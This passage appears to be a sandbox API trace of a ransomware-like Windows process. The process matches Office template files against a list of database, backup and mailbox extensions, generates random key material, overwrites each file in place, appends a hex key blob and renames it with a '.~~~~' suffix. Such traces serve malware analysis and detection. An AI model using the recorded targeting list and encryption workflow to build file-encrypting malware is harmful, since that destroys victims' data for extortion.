	[0143.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".accdb") returned 0x0
	[0143.932] lstrlenW (lpString=".DBX") returned 4
	[0143.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".DBX") returned 0x0
	[0143.932] lstrlenW (lpString=".MDT") returned 4
	[0143.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".MDT") returned 0x0
	[0143.932] lstrlenW (lpString=".SQB") returned 4
	[0143.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".SQB") returned 0x0
	[0143.932] lstrlenW (lpString=".vhd") returned 4
	[0143.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".vhd") returned 0x0
	[0143.932] lstrlenW (lpString=".bac") returned 4
	[0143.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".bac") returned 0x0
	[0143.932] lstrlenW (lpString=".mdf") returned 4
	[0143.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".mdf") returned 0x0
	[0143.932] lstrlenW (lpString=".BAK") returned 4
	[0143.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".BAK") returned 0x0
	[0143.932] lstrlenW (lpString=".BAC") returned 4
	[0143.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".BAC") returned 0x0
	[0143.932] lstrlenW (lpString=".dbs") returned 4
	[0143.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".dbs") returned 0x0
	[0143.932] lstrlenW (lpString=".vhdx") returned 5
	[0143.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".vhdx") returned 0x0
	[0143.932] lstrlenW (lpString=".NDF") returned 4
	[0143.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".NDF") returned 0x0
	[0143.932] lstrlenW (lpString=".dat") returned 4
	[0143.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".dat") returned 0x0
	[0143.933] lstrlenW (lpString=".DBS") returned 4
	[0143.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".DBS") returned 0x0
	[0143.933] lstrlenW (lpString=".CKP") returned 4
	[0143.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".CKP") returned 0x0
	[0143.933] lstrlenW (lpString=".edb") returned 4
	[0143.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".edb") returned 0x0
	[0143.933] lstrlenW (lpString=".PST") returned 4
	[0143.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".PST") returned 0x0
	[0143.933] lstrlenW (lpString=".dbf") returned 4
	[0143.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".dbf") returned 0x0
	[0143.933] lstrlenW (lpString=".SQL") returned 4
	[0143.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".SQL") returned 0x0
	[0143.933] lstrlenW (lpString=".pst") returned 4
	[0143.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".pst") returned 0x0
	[0143.933] lstrlenW (lpString=".dbv") returned 4
	[0143.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".dbv") returned 0x0
	[0143.933] lstrlenW (lpString=".SDF") returned 4
	[0143.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".SDF") returned 0x0
	[0143.933] lstrlenW (lpString=".dtxs") returned 5
	[0143.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".dtxs") returned 0x0
	[0143.933] lstrlenW (lpString=".db3") returned 4
	[0143.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".db3") returned 0x0
	[0143.933] lstrlenW (lpString=".OST") returned 4
	[0143.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".OST") returned 0x0
	[0143.933] lstrlenW (lpString=".dbx") returned 4
	[0143.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".dbx") returned 0x0
	[0143.934] lstrlenW (lpString=".DB3") returned 4
	[0143.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".DB3") returned 0x0
	[0143.934] lstrlenW (lpString=".DAT") returned 4
	[0143.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".DAT") returned 0x0
	[0143.934] lstrlenW (lpString=".VHDX") returned 5
	[0143.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".VHDX") returned 0x0
	[0143.934] lstrlenW (lpString=".ndf") returned 4
	[0143.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".ndf") returned 0x0
	[0143.934] lstrlenW (lpString=".DB") returned 3
	[0143.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".DB") returned 0x0
	[0143.934] lstrlenW (lpString=".sql") returned 4
	[0143.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".sql") returned 0x0
	[0143.934] lstrlenW (lpString=".MYD") returned 4
	[0143.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".MYD") returned 0x0
	[0143.934] lstrlenW (lpString=".DBT") returned 4
	[0143.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".DBT") returned 0x0
	[0143.934] lstrlenW (lpString=".ACCDB") returned 6
	[0143.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".ACCDB") returned 0x0
	[0143.934] lstrlenW (lpString=".fdb") returned 4
	[0143.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".fdb") returned 0x0
	[0143.934] lstrlenW (lpString=".bak") returned 4
	[0143.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".bak") returned 0x0
	[0143.934] lstrlenW (lpString=".myd") returned 4
	[0143.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".myd") returned 0x0
	[0143.935] lstrlenW (lpString=".DTXS") returned 5
	[0143.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".DTXS") returned 0x0
	[0143.935] lstrlenW (lpString=".ckp") returned 4
	[0143.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".ckp") returned 0x0
	[0143.935] lstrlenW (lpString=".dbt") returned 4
	[0143.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".dbt") returned 0x0
	[0143.935] lstrlenW (lpString=".db") returned 3
	[0143.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".db") returned 0x0
	[0143.935] lstrlenW (lpString=".TXT") returned 4
	[0143.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".TXT") returned 0x0
	[0143.935] lstrlenW (lpString=".MDF") returned 4
	[0143.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".MDF") returned 0x0
	[0143.935] lstrlenW (lpString=".bdb") returned 4
	[0143.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".bdb") returned 0x0
	[0143.935] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0143.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.935] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0143.937] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.937] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0143.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0143.937] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26392709350) returned 1
	[0143.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbf338a10, dwHighDateTime=0x1d60e1e)) 
	[0143.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0143.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0143.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0143.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd2a0
	[0143.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd2a0 | out: hHeap=0x300000) returned 1
	[0143.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ac128
	[0143.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac128 | out: hHeap=0x300000) returned 1
	[0143.938] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0143.938] GetLastError () returned 0x0
	[0143.938] GetLastError () returned 0x0
	[0143.938] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0143.938] GetLastError () returned 0x0
	[0143.939] GetLastError () returned 0x0
	[0143.939] ReadFile (in: hFile=0x138, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x24dfec0*=0x20f5, lpOverlapped=0x0) returned 1
	[0143.941] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffdf0b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.941] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x20f5, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x20f5, lpOverlapped=0x0) returned 1
	[0143.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0143.941] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.941] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.941] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.941] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.941] CloseHandle (hObject=0x138) returned 1
	[0143.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b50c0
	[0143.942] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\defaultblackandwhite.dotx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\defaultblackandwhite.dotx.~~~~")) returned 1
	[0143.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b50c0 | out: hHeap=0x300000) returned 1
	[0143.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0143.944] GetLastError () returned 0x0
	[0143.944] RtlWakeConditionVariable () returned 0x0
	[0143.944] GetCurrentThreadId () returned 0x3a4
	[0143.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".scr") returned 0x0
	[0143.944] lstrlenW (lpString=".cmd") returned 4
	[0143.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".cmd") returned 0x0
	[0143.944] lstrlenW (lpString=".dll") returned 4
	[0143.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".dll") returned 0x0
	[0143.944] lstrlenW (lpString=".bat") returned 4
	[0143.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".bat") returned 0x0
	[0143.944] lstrlenW (lpString=".cpl") returned 4
	[0143.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".cpl") returned 0x0
	[0143.944] lstrlenW (lpString=".sys") returned 4
	[0143.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".sys") returned 0x0
	[0143.945] lstrlenW (lpString=".msc") returned 4
	[0143.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".msc") returned 0x0
	[0143.945] lstrlenW (lpString=".com") returned 4
	[0143.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".com") returned 0x0
	[0143.945] lstrlenW (lpString=".lnk") returned 4
	[0143.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".lnk") returned 0x0
	[0143.945] lstrlenW (lpString=".msp") returned 4
	[0143.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".msp") returned 0x0
	[0143.945] lstrlenW (lpString=".pif") returned 4
	[0143.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".pif") returned 0x0
	[0143.945] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch="msp\r\n.pif") returned 0x0
	[0143.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\distinctive.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0143.946] lstrlenW (lpString=".sqb") returned 4
	[0143.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".sqb") returned 0x0
	[0143.947] lstrlenW (lpString=".ost") returned 4
	[0143.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".ost") returned 0x0
	[0143.947] lstrlenW (lpString=".txt") returned 4
	[0143.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".txt") returned 0x0
	[0143.947] lstrlenW (lpString=".mdt") returned 4
	[0143.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".mdt") returned 0x0
	[0143.947] lstrlenW (lpString=".BDB") returned 4
	[0143.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".BDB") returned 0x0
	[0143.947] lstrlenW (lpString=".eql") returned 4
	[0143.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".eql") returned 0x0
	[0143.947] lstrlenW (lpString=".DBF") returned 4
	[0143.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".DBF") returned 0x0
	[0143.947] lstrlenW (lpString=".EQL") returned 4
	[0143.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".EQL") returned 0x0
	[0143.947] lstrlenW (lpString=".FDB") returned 4
	[0143.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".FDB") returned 0x0
	[0143.947] lstrlenW (lpString=".EDB") returned 4
	[0143.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".EDB") returned 0x0
	[0143.947] lstrlenW (lpString=".DACPAC") returned 7
	[0143.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".DACPAC") returned 0x0
	[0143.947] lstrlenW (lpString=".VHD") returned 4
	[0143.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".VHD") returned 0x0
	[0143.947] lstrlenW (lpString=".DBV") returned 4
	[0143.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".DBV") returned 0x0
	[0143.947] lstrlenW (lpString=".dacpac") returned 7
	[0143.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".dacpac") returned 0x0
	[0143.947] lstrlenW (lpString=".sdf") returned 4
	[0143.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".sdf") returned 0x0
	[0143.948] lstrlenW (lpString=".accdb") returned 6
	[0143.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".accdb") returned 0x0
	[0143.948] lstrlenW (lpString=".DBX") returned 4
	[0143.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".DBX") returned 0x0
	[0143.948] lstrlenW (lpString=".MDT") returned 4
	[0143.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".MDT") returned 0x0
	[0143.948] lstrlenW (lpString=".SQB") returned 4
	[0143.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".SQB") returned 0x0
	[0143.948] lstrlenW (lpString=".vhd") returned 4
	[0143.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".vhd") returned 0x0
	[0143.948] lstrlenW (lpString=".bac") returned 4
	[0143.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".bac") returned 0x0
	[0143.948] lstrlenW (lpString=".mdf") returned 4
	[0143.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".mdf") returned 0x0
	[0143.948] lstrlenW (lpString=".BAK") returned 4
	[0143.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".BAK") returned 0x0
	[0143.948] lstrlenW (lpString=".BAC") returned 4
	[0143.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".BAC") returned 0x0
	[0143.948] lstrlenW (lpString=".dbs") returned 4
	[0143.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".dbs") returned 0x0
	[0143.948] lstrlenW (lpString=".vhdx") returned 5
	[0143.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".vhdx") returned 0x0
	[0143.948] lstrlenW (lpString=".NDF") returned 4
	[0143.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".NDF") returned 0x0
	[0143.948] lstrlenW (lpString=".dat") returned 4
	[0143.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".dat") returned 0x0
	[0143.948] lstrlenW (lpString=".DBS") returned 4
	[0143.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".DBS") returned 0x0
	[0143.948] lstrlenW (lpString=".CKP") returned 4
	[0143.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".CKP") returned 0x0
	[0143.948] lstrlenW (lpString=".edb") returned 4
	[0143.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".edb") returned 0x0
	[0143.949] lstrlenW (lpString=".PST") returned 4
	[0143.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".PST") returned 0x0
	[0143.949] lstrlenW (lpString=".dbf") returned 4
	[0143.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".dbf") returned 0x0
	[0143.949] lstrlenW (lpString=".SQL") returned 4
	[0143.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".SQL") returned 0x0
	[0143.949] lstrlenW (lpString=".pst") returned 4
	[0143.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".pst") returned 0x0
	[0143.949] lstrlenW (lpString=".dbv") returned 4
